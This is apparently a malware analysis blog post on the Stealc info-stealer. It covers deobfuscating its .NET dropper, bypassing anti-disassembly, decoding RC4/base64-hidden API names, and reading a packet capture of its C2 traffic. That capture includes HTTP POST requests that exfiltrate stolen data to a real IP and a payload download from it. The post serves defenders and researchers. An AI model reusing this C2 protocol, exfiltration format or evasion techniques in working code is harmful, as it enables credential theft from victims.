Sample Hash

SHA256: f6aa6b44abb4c789ed2c7a5b1ab831dc9a1560dc71b44aaf3d1c8b3e650a685e
SHA1: 3a8f8f03562b7caded48adeb884cab12c0ea8f5a1aaaf561cac26b2291eaee29fced47ffa262c9820780ec47731d2da8
MD5: a194cdef7fe9b191e053589d295e3994

Overview

With the rise in popularity of commodity malware, there has been an increase in the number of threat actors getting into Malware as a Service (MaaS) offerings. One prevalent type of offering are stealers, which are designed to extract credentials from various sources such as web browsers, crypto wallets, keyloggers, email clients, etc.

Stealers have gained significant traction among cybercriminals due to their ease of deployment and effectiveness in harvesting valuable credentials. The stolen credentials can then be sold on underground markets or used for further illicit activities, posing serious threats to individuals and organizations alike.

The fast growth of the Malware as a Service market has led to an increase in less technically skilled individuals engaging in malicious activities. This shift has led to an exponential increase in the number of threat actors.

Stealc is recent addition to the Info Stealer roster. Being a copy of current strains (Vidar, Redline, Racoon), this new malware advertises itself as being a user-friendly and customizable for plugin configurations. The seller boasts it’s obfuscation and ability to exfil data as soon as it is grabbed. It was first identified by Sekoia back in January, at the time the post by the user Plymouth was posted.

![[Pasted image 20230708130247.png 800]]

Analysis

.NET Dropper

The first phase involves a .NET dropper, which has been packed with Reactor, a popular obfuscation tool created by Eziriz. This portion isn’t too involved, seeing that the .NET was obfuscated. I used de4dot to deobfuscate the binary to allow me to have better visibility of what the methods were doing.

![[Pasted image 20230705205040.png 800]]

The following images showcases the difference between the obfuscated and deobfuscated binary sample after using de4dot.

![[Pasted image 20230714211848.png]]![[Pasted image 20230714211900.png ]]

Opening the deobfuscated binary in dnSpy, we are then able to view the entry point Class8.Main. Inside this Class there is then a method labeled smethod_0 that contains the decrypter function that is called by the object method_1, this object contains strings that are passed for decryption.

			byte[] array = Class8.smethod_0(Class7.smethod_0(), "QYF8qC0beljiW8F4N6rZrphlTypaAuwKwgMW8qIwgQpQ0DWtUeYN6K8HB3zgEpq8anquGVapcFEwqqbanuoodLefegFUaEyYUyxX");
			byte[] array2 = Class8.smethod_0(Class7.smethod_1(), "V1zvkNnGLWN23kCQznR2rNVkyAfChYIfb5xl56FFyITFfukPaeJ6eDQy4hbj7RKaKMITk9JUrfl0cqebNGFbS2TSsyEWxtNOM5Km");

Saving time, I just set a breakpoint at the first initialization within the object, ran the binary until the arrays were populated. The decrypted strings turned out to be two separate PE files. The first array contains our Stealc binary and the second array2 contained RunPE.dll.

![[Pasted image 20230705211047.png]]

Using dnSpy, I dumped the raw bytes from the arrays into their own file for further analysis.

PE File

At first glance, the file didn’t seem to be packed, but when I threw it into Ghidra, it showed an attempt by the author to make analysis harder.

Jump Instructions Anti-Disassembly

One of the more common techniques found is the usage of conditional jump instructions pointed at the same target. Having jz followed by jnz will always make the disassembler continue disassembly into the false branch, even if it will never be executed. Typically, our program of choice, Ghidra in my case, will know if the conditional statements are calling weird locations, but seeing this instruction layout will more than likely be a safe bet of anti-analysis being used.

Using Ghidra’s Clean and Repair Flow on the following mov instruction and then using NOP to patch the address, we can remediate the anti-disassembly used by the author.

![[Pasted image 20230708131643.png]] ![[Pasted image 20230708132648.png]]

We would have to do this a few times with this particular sample because it seems they went crazy with it.

Dynamic API Resolution

In order to hide malicious functionalities, malware authors commonly employ Dynamic API Resolution. This technique helps evade the use of static analysis to find string artifacts within the binary. There can also be functions used within the Import Address Table (IAT).

Stealc attempts to use this technique to hide imported calls, but fails to do so in a meaningful way. By having a hardcoded RC4 Key value and the b64 strings stored inside of .rdata, we are then able to decrypt and decode the strings using Cyberchef to create a recipe for resolving the API calls.

The following function contains the API calls after using Cyberchef. From this, we can gather a better understanding of what the sample is trying to do.

Cyberchef Recipe:

RC4({'option':'UTF8','string':'4451106541286376721130510'},'Base64','Base64')
From_Base64('A-Za-z0-9+/=',true,false)
void Decoded_b64__00401c50(void)

{
  RC4_KEY__DAT_00614284 = "4451106541286376721130510"; 
  DAT_00614508 = FUN_004038b5(&DAT_00410ca8);
  DAT_00614270 = FUN_004038b5(&DAT_00410cb0);
  DAT_006144ac = FUN_004038b5(&DAT_00410cb8);
  DAT_006144a8 = FUN_004038b5(&DAT_00410cc0);
  DAT_00614340 = FUN_004038b5("qkqym6KJiYjutnWE18g=");         # GetProcAddress
  DAT_00614160 = FUN_004038b5("oUCnr5yPiLvroH6g");             # LoadLibraryA
  DAT_006144f4 = FUN_004038b5("gVyyubOHnog=");                 # lstrcatA
  DAT_00614560 = FUN_004038b5("ol+jpZWQj6f+kw==");             # OpenEventA
  DAT_006141c0 = FUN_004038b5("rl2jqqSDr7/vvHOg");             # CreateEventA
  DAT_006141ac = FUN_004038b5("rkOpuLWui6fuvmI=");             # CloseHandle
  DAT_0061424c = FUN_004038b5("vkOjrqA=");                     # Sleep
  DAT_00614410 = FUN_004038b5("qkqynqODmI3vtGaUyM9wEl1ld6I="); # GetUserDefaultLangID
  DAT_00614290 = FUN_004038b5("u0a0v6WHhojmvmiC4cNyBl5j");     # VirtualAllocExNuma
  DAT_006144dc = FUN_004038b5("u0a0v6WHho/4t2I=");             # VirtualFree
  DAT_00614480 = FUN_004038b5("qkqymKmVnqznm2mHyw==");         # GetSystemInfo
  DAT_0061430c = FUN_004038b5("u0a0v6WHhojmvmiC");             # VirtualAlloc
  DAT_00614240 = FUN_004038b5("pUqnu5GKhqbp");                 # HeapAlloc
  DAT_00614528 = FUN_004038b5("qkqyiL+Lmrz+t3WvxdZZMg==");     # GetComputerNameA
  DAT_00614018 = FUN_004038b5("gVyyubOWk4g=");                 # lstrcpyA
  DAT_006144d4 = FUN_004038b5("qkqym6KJiaz5oU+Excs=");         # GetProcessHeap
  DAT_00614180 = FUN_004038b5("qkqyiKWUmKzkpleTy9hZc0A=");     # GetCurrentProcess
  DAT_00614368 = FUN_004038b5("gVyyubyDhIg=");                 # lstrlenA
  DAT_00614550 = FUN_004038b5("qFevv4CUharvoXQ=");             # ExitProcess
  DAT_00614024 = FUN_004038b5("qkOpqbGKp6znvXWY989dB0Zxe54="); # GlobalMemoryStatusEx
  DAT_00614088 = FUN_004038b5("qkqymKmVnqznhm6MwQ==");         # GetSystemTime 
  DAT_0061420c = FUN_004038b5("vla1v7WLvqDnt1OO4tJQFmdrU4M="); # SystemTimeToFileTime
  DAT_00614488 = FUN_004038b5("jEuwqqCP2fuktmuN");             # advapi32.dll
  DAT_006140d8 = FUN_004038b5("ikuv+OLIjqXm");                 # gdi32.dll
  DAT_00614060 = FUN_004038b5("mFyjuePUxK3mvg==");             # user32.dll
  DAT_00614138 = FUN_004038b5("jl2/u6TV2Ofuvms=");             # crypt32.dll
  DAT_0061427c = FUN_004038b5("g1uip7zIjqXm");                 # ntdll.dll
  DAT_006143f0 = FUN_004038b5("qkqynqODmIfrv2Kg");             # GetUserNameA
  DAT_00614374 = FUN_004038b5("rl2jqqSDrorL");                 # CreateDCA
  DAT_00614128 = FUN_004038b5("qkqyj7WQg6rvkWaR1w==");         # GetDeviceCaps
  DAT_006142e8 = FUN_004038b5("v0qqrrGVj43J");                 # ReleaseDC
  DAT_00614084 = FUN_004038b5("rl2/u6S1nrvjvGC1y/lVHVJwR6c="); # CryptStringToBinaryA
  DAT_00614364 = FUN_004038b5("nlylqr6A");                     # sscanf
  _DAT_006140ac = FUN_004038b5("u2KxqqKDvIT9s3WE");            # VMwareVmware
  DAT_00614478 = FUN_004038b5("pW6K8oSu");                     # HAL9TH
  DAT_00614538 = FUN_004038b5("p0CupZSJjw==");                 # JohnDoe
  DAT_00614038 = FUN_004038b5("qWaVm5ynsw==");                 # DISPLAY
  DAT_00614350 = FUN_004038b5("yEez5PWOn+avunI=");             # %hu/%hu/%hu
  return;
}
PCAP Analysis
IP: 172.86.70.117

The C2 communication is done over HTTP using POST requests to complete exfiltration of credentials harvested. Depending on the configuration, different files will be sent to the server.

The handshake between the client and server is done during the initial stage of communication. The client sends a hardware ID of the infected machine through hwid to the server, while also grabbing the agent’s build name through build.

POST /94ed4bf54583a4fa.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----GDHDHJEBGHJKFIECBGCB
Host: 172.86.70.117

Content-Length: 212
Connection: Keep-Alive
Cache-Control: no-cache

------GDHDHJEBGHJKFIECBGCB
Content-Disposition: form-data; name="hwid"

4044A69105EA20379026

------GDHDHJEBGHJKFIECBGCB

Content-Disposition: form-data; name="build"

default
------GDHDHJEBGHJKFIECBGCB--

The C2 server returns a b64 string containing the agents token

d7a14f9bbf2ffeda6effd7c12f08f7ed514c3d2c7e7dc30e3db0f6e1c7fe6bec013487f9|done|garage.docx|1|0|1|1|0|1|1|1|

It returns a configuration in a b64 string after the agent sends a POST request with browser or plugins in the message tag.

After receiving these, the agent then sets up a file_name, in this case system_info.txt, for it to be populated with system info from the infected machine.

Then it downloads a legit version of sqlite.

GET /58edf5f2a726adf8/sqlite3.dll HTTP/1.1

Host: 172.86.70.117

Cache-Control: no-cache

Then it continues to exfiltrate different files found on the system. Seems to be a very bare minimum configuration, this one just pulled secrets from Firefox, Outlook, and tried to find any filetype used by common crypto wallets. It finishes off with a screenshot of the infected machine.

Other versions of Stealc have had an other payload dropped, but this sample seemed to not have that enabled.

Conclusion

Stealc is a perfect example of trivial techniques being used by new malware authors. Seeing the lack of progress not only shows that while the market for commodity malware is growing, it seems that novel techniques will remain novel. Stealc may just be another stealer that will be phased out by newer ones, once detection ramps up on it. Seeing that it was created by borrowing from others, I don’t see any slowdown on info stealers being sold in crime markets.